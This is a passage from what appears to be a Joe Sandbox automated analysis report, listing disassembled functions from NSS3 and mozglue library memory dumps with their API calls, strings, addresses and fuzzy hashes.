sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CADBE66), ref: 6CC16F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CADBE66), ref: 6CC16FA6
sqlite3_snprintf.NSS3(?,00000000,6CC7AAF9,00000000,?,?,?,?,?,?,?,6CADBE66), ref: 6CC16FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CADBE66), ref: 6CC16FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CADBE66), ref: 6CC16FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CADBE66), ref: 6CC17014
sqlite3_free.NSS3(00000000,?,?,?,?,6CADBE66), ref: 6CC1701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CADBE66), ref: 6CC17030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CADBE66), ref: 6CC1705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CADBE66), ref: 6CC17079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CADBE66), ref: 6CC17097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CADBE66), ref: 6CC170A0

Strings

winGetTempname1, xrefs: 6CC1708F
winGetTempname2, xrefs: 6CC170C4
winGetTempname5, xrefs: 6CC17071
mz_etilqs_, xrefs: 6CC16F18
winGetTempname4, xrefs: 6CC17046

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: b5c3a75d93546dd74cdfefeeb167f1375fbcc7d60cb29b54c372a12107fafbee
Instruction ID: 167196855138ca64961ab0cfd0b1442620dbaaa620aa6face3c3125c9a4f4ba1
Opcode Fuzzy Hash: b5c3a75d93546dd74cdfefeeb167f1375fbcc7d60cb29b54c372a12107fafbee
Instruction Fuzzy Hash: 005199B1B086115BE30096329C55FBB36269F9230CF140638E81697FC1FF25945E92D3

Function 6CBA4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB575C2,00000000,00000000,00000001), ref: 6CBA5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB575C2,00000000), ref: 6CBA5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBA505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CBA5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBA5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBA50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CBA50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB575C2), ref: 6CBA50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBA50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBA50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBA5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBA511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBA512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBA5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBA5153
free.MOZGLUE(?), ref: 6CBA516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CBA517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBA5195

Strings

parameters=, xrefs: 6CBA506B
name=, xrefs: 6CBA5057
nss=, xrefs: 6CBA5083
config=, xrefs: 6CBA509B
library=, xrefs: 6CBA5043

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: b23501eb379a4ad9d0e788bb495668ce4c506e2e8322bd09c1baa03a4991f16a
Instruction ID: 29c9d2f2fbc291e233fe34d1a166050e2decf8501abc23463706c07320d2aec9
Opcode Fuzzy Hash: b23501eb379a4ad9d0e788bb495668ce4c506e2e8322bd09c1baa03a4991f16a
Instruction Fuzzy Hash: 1851D6B1A455456BEB10DF64DC41AAF37B8EF06248F140020EC99E7741FB35EA1ACBB6

Function 6CBA4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CB94F51,00000000), ref: 6CBA4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CB94F51,00000000), ref: 6CBA4C5B
PR_smprintf.NSS3(6CC7AAF9,?,0000002F,?,?,?,00000000,00000000,?,6CB94F51,00000000), ref: 6CBA4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CB94F51,00000000), ref: 6CBA4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBA4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBA4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBA4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CB94F51,00000000), ref: 6CBA4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CB94F51,00000000), ref: 6CBA4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CBA4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CBA4DA2
free.MOZGLUE(?), ref: 6CBA4DB9
free.MOZGLUE(00000000), ref: 6CBA4DCF

Strings

rust, xrefs: 6CBA4D22
slotFlags, xrefs: 6CBA4D34
%s,%s, xrefs: 6CBA4C4B
0x%08lx=[%s %s], xrefs: 6CBA4D80
timeout, xrefs: 6CBA4C91
rootFlags, xrefs: 6CBA4D47
ootT, xrefs: 6CBA4D1A
any, xrefs: 6CBA4C96
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CBA4D9D
every, xrefs: 6CBA4CA1

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: effc88cfcabf9046680f1277b932072de27453e5985e1badb572372fb0e4b747
Instruction ID: 97e1a1e0d80f26970692d45034ade5584c0ad389f654d9c4d0fab9f94ae7f63d
Opcode Fuzzy Hash: effc88cfcabf9046680f1277b932072de27453e5985e1badb572372fb0e4b747
Instruction Fuzzy Hash: F7418BB29041916BDB125F589841ABF3A75EF82348F044124EC5A5B701FB34DC26CBE3

Function 6CA6F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA34A68), ref: 6CA6945E
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA69470
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA69482
Part of subcall function 6CA69420: __Init_thread_footer.LIBCMT ref: 6CA6949F

GetCurrentThreadId.KERNEL32 ref: 6CA6F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CA6F8F9

Part of subcall function 6CA36390: GetCurrentThreadId.KERNEL32 ref: 6CA363D0
Part of subcall function 6CA36390: AcquireSRWLockExclusive.KERNEL32 ref: 6CA363DF
Part of subcall function 6CA36390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CA3640E

ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6F93A
GetCurrentThreadId.KERNEL32 ref: 6CA6F98A
GetCurrentThreadId.KERNEL32 ref: 6CA6F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA6F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA6F716

Part of subcall function 6CA694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA694EE
Part of subcall function 6CA694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA69508

Part of subcall function 6CA2B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CA2B5E0

GetCurrentThreadId.KERNEL32 ref: 6CA6F739
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6F746
GetCurrentThreadId.KERNEL32 ref: 6CA6F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CAA385B,00000002,?,?,?,?,?), ref: 6CA6F829
free.MOZGLUE(?,?,00000000,?), ref: 6CA6F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CA6F866
free.MOZGLUE(?), ref: 6CA6FA0C

Part of subcall function 6CA35E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA355E1), ref: 6CA35E8C
Part of subcall function 6CA35E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA35E9D
Part of subcall function 6CA35E60: GetCurrentThreadId.KERNEL32 ref: 6CA35EAB
Part of subcall function 6CA35E60: GetCurrentThreadId.KERNEL32 ref: 6CA35EB8
Part of subcall function 6CA35E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA35ECF
Part of subcall function 6CA35E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CA35F27
Part of subcall function 6CA35E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CA35F47
Part of subcall function 6CA35E60: GetCurrentProcess.KERNEL32 ref: 6CA35F53
Part of subcall function 6CA35E60: GetCurrentThread.KERNEL32 ref: 6CA35F5C
Part of subcall function 6CA35E60: GetCurrentProcess.KERNEL32 ref: 6CA35F66
Part of subcall function 6CA35E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CA35F7E

free.MOZGLUE(?), ref: 6CA6F9C5
free.MOZGLUE(?), ref: 6CA6F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6CA6F71F
Thread , xrefs: 6CA6F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CA6F9A6
" attempted to re-register as ", xrefs: 6CA6F858

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 09d58efd7e65cc77cac148e6e031f0abf63331e5b8ae4f90f2c6b2a13888f3f1
Instruction ID: 0d44e259f1b6c9a6d595f91cf4d4b4dbf33eb4a65f825c1dbd2d2b4e7a2f06fc
Opcode Fuzzy Hash: 09d58efd7e65cc77cac148e6e031f0abf63331e5b8ae4f90f2c6b2a13888f3f1
Instruction Fuzzy Hash: EF812571A003059FC714DF65D940BAEB7B5BF85308F48851DE84A8BB11EB30D88DCB92

Function 6CB82D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CB82DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CB82E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CB82E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CB82E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CB54F1C,?,-00000001,00000000,?), ref: 6CB82E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CB54F1C,?,-00000001,00000000), ref: 6CB82E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CB82EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CB82EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CB82EF8
PR_Unlock.NSS3(?), ref: 6CB82F62
TlsGetValue.KERNEL32 ref: 6CB82F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CB82F9E
PR_Unlock.NSS3(?), ref: 6CB82FCA
TlsGetValue.KERNEL32 ref: 6CB8301A
EnterCriticalSection.KERNEL32(?), ref: 6CB8302E
PR_Unlock.NSS3(?), ref: 6CB83066
PR_SetError.NSS3(00000000,00000000), ref: 6CB83085
PR_Unlock.NSS3(?), ref: 6CB830EC
TlsGetValue.KERNEL32 ref: 6CB8310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CB83124
PR_Unlock.NSS3(?), ref: 6CB8314C

Part of subcall function 6CB69180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CB9379E,?,6CB69568,00000000,?,6CB9379E,?,00000001,?), ref: 6CB6918D
Part of subcall function 6CB69180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CB9379E,?,6CB69568,00000000,?,6CB9379E,?,00000001,?), ref: 6CB691A0

Part of subcall function 6CB307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAC204A), ref: 6CB307AD
Part of subcall function 6CB307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAC204A), ref: 6CB307CD
Part of subcall function 6CB307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAC204A), ref: 6CB307D6
Part of subcall function 6CB307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAC204A), ref: 6CB307E4
Part of subcall function 6CB307A0: TlsSetValue.KERNEL32(00000000,?,6CAC204A), ref: 6CB30864
Part of subcall function 6CB307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB30880
Part of subcall function 6CB307A0: TlsSetValue.KERNEL32(00000000,?,?,6CAC204A), ref: 6CB308CB
Part of subcall function 6CB307A0: TlsGetValue.KERNEL32(?,?,6CAC204A), ref: 6CB308D7
Part of subcall function 6CB307A0: TlsGetValue.KERNEL32(?,?,6CAC204A), ref: 6CB308FB

PR_SetError.NSS3(00000000,00000000), ref: 6CB8316D

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: f5ef80a50525c2dcf6e5fdc522738859548393a20e301511c2987f84f718b858
Instruction ID: d55720ec417807f26189d2f86922300abf03ca7615e59bba6c69c2884612b66f
Opcode Fuzzy Hash: f5ef80a50525c2dcf6e5fdc522738859548393a20e301511c2987f84f718b858
Instruction Fuzzy Hash: 25F16BB1D012599FDF00DFA8D888B9EBBB4FF09318F144169EC05A7711E731A995CB92

Function 6CB86CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB86910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CB86943
Part of subcall function 6CB86910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CB86957
Part of subcall function 6CB86910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CB86972
Part of subcall function 6CB86910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CB86983
Part of subcall function 6CB86910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CB869AA
Part of subcall function 6CB86910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CB869BE
Part of subcall function 6CB86910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CB869D2
Part of subcall function 6CB86910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CB869DF
Part of subcall function 6CB86910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CB86A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CB86D8C
free.MOZGLUE(00000000), ref: 6CB86DC5
free.MOZGLUE(?), ref: 6CB86DD6
free.MOZGLUE(?), ref: 6CB86DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CB86E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CB86E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CB86E72
free.MOZGLUE(?), ref: 6CB86EA7
free.MOZGLUE(?), ref: 6CB86EC4
free.MOZGLUE(?), ref: 6CB86ED5
free.MOZGLUE(00000000), ref: 6CB86EE3
free.MOZGLUE(?), ref: 6CB86EF4
free.MOZGLUE(?), ref: 6CB86F08
free.MOZGLUE(00000000), ref: 6CB86F35
free.MOZGLUE(?), ref: 6CB86F44
free.MOZGLUE(?), ref: 6CB86F5B
free.MOZGLUE(00000000), ref: 6CB86F65

Part of subcall function 6CB86C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CB8781D,00000000,6CB7BE2C,?,6CB86B1D,?,?,?,?,00000000,00000000,6CB8781D), ref: 6CB86C40
Part of subcall function 6CB86C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CB8781D,?,6CB7BE2C,?), ref: 6CB86C58
Part of subcall function 6CB86C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CB8781D), ref: 6CB86C6F
Part of subcall function 6CB86C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CB86C84
Part of subcall function 6CB86C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CB86C96
Part of subcall function 6CB86C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CB86CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CB86F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CB86FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CB86FF4

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: bbb03a2d8fd735febdbd2c4641e8e241230eb202ff13a88e115ad504f7d307fa
Instruction ID: fc68863f3c9e6112f1e369158101ec51231457a7954edb02eba8e975351fe3ba
Opcode Fuzzy Hash: bbb03a2d8fd735febdbd2c4641e8e241230eb202ff13a88e115ad504f7d307fa
Instruction Fuzzy Hash: 8DB181B0E122999FDF00DFA5D845B9EBBB4FF09349F140024E815E7A40E735E955CBA2

Function 6CB84C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB84C4C
EnterCriticalSection.KERNEL32(?), ref: 6CB84C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CB84CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CB84CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CB84CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB84D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB84D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CB84DB7

Part of subcall function 6CBEDD70: TlsGetValue.KERNEL32 ref: 6CBEDD8C
Part of subcall function 6CBEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBEDDB4

Part of subcall function 6CB307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAC204A), ref: 6CB307AD
Part of subcall function 6CB307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAC204A), ref: 6CB307CD
Part of subcall function 6CB307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAC204A), ref: 6CB307D6
Part of subcall function 6CB307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAC204A), ref: 6CB307E4
Part of subcall function 6CB307A0: TlsSetValue.KERNEL32(00000000,?,6CAC204A), ref: 6CB30864
Part of subcall function 6CB307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB30880
Part of subcall function 6CB307A0: TlsSetValue.KERNEL32(00000000,?,?,6CAC204A), ref: 6CB308CB
Part of subcall function 6CB307A0: TlsGetValue.KERNEL32(?,?,6CAC204A), ref: 6CB308D7
Part of subcall function 6CB307A0: TlsGetValue.KERNEL32(?,?,6CAC204A), ref: 6CB308FB

TlsGetValue.KERNEL32 ref: 6CB84DD7
EnterCriticalSection.KERNEL32(?), ref: 6CB84DEC
PR_Unlock.NSS3(?), ref: 6CB84E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CB84E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB84E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CB84E71
free.MOZGLUE(00000000), ref: 6CB84E7A
PR_Unlock.NSS3(?), ref: 6CB84EA2
TlsGetValue.KERNEL32 ref: 6CB84EC1
EnterCriticalSection.KERNEL32(?), ref: 6CB84ED6
PR_Unlock.NSS3(?), ref: 6CB84F01
free.MOZGLUE(00000000), ref: 6CB84F2A

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
